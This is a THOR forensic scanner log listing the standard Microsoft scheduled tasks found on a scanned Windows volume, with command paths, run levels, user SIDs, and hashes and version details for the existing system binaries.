Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Location\Notifications COMMAND: %windir%\System32\LocationNotificationWindows.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\LocationNotificationWindows.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Location\WindowsActionDialog COMMAND: %windir%\System32\WindowsActionDialog.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\WindowsActionDialog.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\MUI\LPRemove COMMAND: %windir%\system32\lpremove.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\lpremove.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\WinSAT COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Autopilot\DetectHardwareChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Autopilot\RemediateHardwareChange COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Cellular COMMAND: %windir%\system32\ProvTool.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ProvTool.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Logon COMMAND: %windir%\system32\ProvTool.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ProvTool.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\MdmDiagnosticsCleanup COMMAND: %windir%\system32\MdmDiagnosticsTool.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\MdmDiagnosticsTool.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\Retry COMMAND: %windir%\system32\ProvTool.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ProvTool.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\RunOnReboot COMMAND: %windir%\system32\ProvTool.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ProvTool.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Maps\MapsToastTask COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Maps\MapsUpdateTask COMMAND:  START: 2014-10-21T00:00:00 USER: S-1-5-20 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\RunFullMemoryDiagnostic COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Multimedia\SystemSoundsService COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\NetTrace\GatherNetworkInfo COMMAND: %windir%\system32\gatherNetworkInfo.vbs START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\gatherNetworkInfo.vbs EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\NlaSvc\WiFiTask COMMAND: %SystemRoot%\System32\WiFiTask.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\WiFiTask.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Background Synchronization COMMAND:  START: 2008-01-01T00:00:00 USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Offline Files\Logon Synchronization COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\PI\Secure-Boot-Update COMMAND:  START: 2024-04-14T06:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\PI\SecureBootEncodeUEFI COMMAND: %WINDIR%\system32\SecureBootEncodeUEFI.exe START: 2025-12-31T12:00:00 USER:  RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\SecureBootEncodeUEFI.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\PI\Sqm-Tasks COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Device Install Group Policy COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Device Install Reboot Required COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Sysprep Generalize Drivers COMMAND: %SystemRoot%\System32\drvinst.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\drvinst.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Printing\EduPrintProv COMMAND: %windir%\system32\eduprintprov.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\eduprintprov.exe EXISTS_1: no
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrintJobCleanupTask COMMAND:  START: 2021-01-01T12:00:00 USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrinterCleanupTask COMMAND:  START: 2020-01-01T12:00:00 USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\PushToInstall\LoginCheck COMMAND: %windir%\system32\sc.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: InteractiveToken FILE_1: C:\Windows\system32\sc.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 60928 MD5_1: 293a38365bee67829ae093d10bf4bc85 SHA1_1: afcceb4db08190d15739d0d369abe0f66b99557c SHA256_1: 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.118 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Service Control Manager Configuration Tool LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sc.exe.mui INTERNAL_NAME_1: sc.exe IMPHASH_1: b037d0adb81bf9cfc651de01742089f1
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\PushToInstall\Registration COMMAND: %windir%\system32\sc.exe START: 2024-09-03T12:03:20 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\sc.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 60928 MD5_1: 293a38365bee67829ae093d10bf4bc85 SHA1_1: afcceb4db08190d15739d0d369abe0f66b99557c SHA256_1: 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.118 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Service Control Manager Configuration Tool LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sc.exe.mui INTERNAL_NAME_1: sc.exe IMPHASH_1: b037d0adb81bf9cfc651de01742089f1
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Ras\MobilityManager COMMAND:  START:  USER: S-1-5-19 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Registry\RegIdleBackup COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\RemoteAssistance\RemoteAssistanceTask COMMAND: %windir%\system32\RAServer.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\RAServer.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Servicing\StartComponentCleanup COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SharedPC\Account Cleanup COMMAND: %windir%\System32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\System32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\CreateObjectTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\FamilySafetyMonitor COMMAND: %windir%\System32\wpcmon.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\System32\wpcmon.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\FamilySafetyRefreshTask COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\IndexerAutomaticMaintenance COMMAND:  START:  USER: S-1-5-19 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\ThemeAssetTask_SyncFODState COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\ThemesSyncedImageDownload COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Shell\UpdateUserPictureTask COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask COMMAND:  START: 2024-09-04T09:00:18Z USER: S-1-5-20 RUNLEVEL: LeastPrivilege LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskNetwork COMMAND:  START:  USER: S-1-5-20 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceAgentTask COMMAND: %windir%\system32\SpaceAgent.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\SpaceAgent.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceManagerTask COMMAND: %windir%\system32\spaceman.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\spaceman.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Speech\SpeechModelDownloadTask COMMAND: %windir%\system32\speech_onecore\common\SpeechModelDownload.exe START: 2004-01-01T00:00:00 USER: S-1-5-20 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\speech_onecore\common\SpeechModelDownload.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 141312 MD5_1: 4361f4842f41b2411e8b9aa7338f1090 SHA1_1: 01c313a69c7b009c3c86a25c4df0e8f914fa4935 SHA256_1: a806e135c51d0c874751964d91eb0a5c3b75ad3f643956ae0b7e36f3fa3f6022 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:36.880 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Speech Model Download Executable LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: SpeechModelDownload.exe INTERNAL_NAME_1: Speech Model Download Executable IMPHASH_1: e0c791d471cb1923008c95b8c4bbc3b8
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\StateRepository\MaintenanceTasks COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Storage Tiers Management\Storage Tiers Management Initialization COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Storage Tiers Management\Storage Tiers Optimization COMMAND: %windir%\system32\defrag.exe START: 2013-01-01T01:00:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\defrag.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Subscription\EnableLicenseAcquisition COMMAND: %SystemRoot%\system32\ClipRenew.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ClipRenew.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Subscription\LicenseAcquisition COMMAND: %SystemRoot%\system32\ClipRenew.exe START: 2016-01-01T00:00:00+00:00 USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\ClipRenew.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\HybridDriveCachePrepopulate COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\HybridDriveCacheRebalance COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\ResPriStaticDbSync COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\WsSwapAssessmentTask COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\SystemRestore\SR COMMAND: %windir%\system32\srtasks.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\srtasks.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\TPM\Tpm-HASCertRetr COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\TPM\Tpm-Maintenance COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Task Manager\Interactive COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\ForceSynchronizeTime COMMAND:  START:  USER: S-1-5-19 RUNLEVEL: HighestAvailable LOGONTYPE: 
